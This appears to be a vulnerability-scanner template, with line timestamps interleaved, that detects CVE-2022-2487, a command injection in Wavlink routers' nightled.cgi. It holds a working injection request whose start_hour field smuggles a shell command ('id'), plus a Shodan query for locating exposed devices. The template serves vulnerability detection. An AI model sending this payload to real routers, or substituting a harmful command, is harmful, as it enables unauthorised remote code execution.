2022-07-20 18:16:04 +00:00
id : CVE-2022-2487
info :
2022-07-23 17:25:48 +00:00
name : Wavlink Nightled.cgi - Remote Code Execution
2022-07-20 18:16:04 +00:00
author : For3stCo1d
severity : critical
2022-07-20 18:34:55 +00:00
description : |
2022-07-20 18:16:04 +00:00
A vulnerability has been found in WAVLINK WN535K2 and WN535K3 and classified as critical. This vulnerability affects unknown code of the file /cgi-bin/nightled.cgi. The manipulation of the argument start_hour leads to os command injection. The exploit has been disclosed to the public and may be used.
reference :
- https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487
2022-07-24 07:25:49 +00:00
- https://vuldb.com/?id.204538
2022-07-27 07:45:07 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-2487
cwe-id : CWE-78
2022-07-20 18:16:04 +00:00
metadata :
shodan-query : http.title:"Wi-Fi APP Login"
2022-07-24 07:25:49 +00:00
verified : "true"
2022-07-21 08:39:12 +00:00
tags : cve,cve2022,iot,wavlink,router,rce,oast
2022-07-20 18:16:04 +00:00
2022-07-24 05:36:57 +00:00
variables :
cmd : "id"
2022-07-20 18:16:04 +00:00
requests :
- raw :
- |
2022-07-24 05:36:57 +00:00
@timeout : 10s
2022-07-20 18:16:04 +00:00
POST /cgi-bin/nightled.cgi HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-07-24 05:36:57 +00:00
page=night_led&start_hour=;{{cmd}};
2022-07-20 18:16:04 +00:00
2022-07-24 05:18:02 +00:00
matchers-condition : and
2022-07-20 18:16:04 +00:00
matchers :
- type : word
2022-07-24 05:18:02 +00:00
part : body
2022-07-20 18:16:04 +00:00
words :
2022-07-24 05:36:57 +00:00
- "uid="
- "gid="
2022-08-08 21:27:04 +00:00
- "nightStart"
2022-07-24 05:18:02 +00:00
condition : and
2022-08-08 21:27:04 +00:00
- type : word
words :
- text/html
2022-07-24 05:18:02 +00:00
- type : status
status :
- 200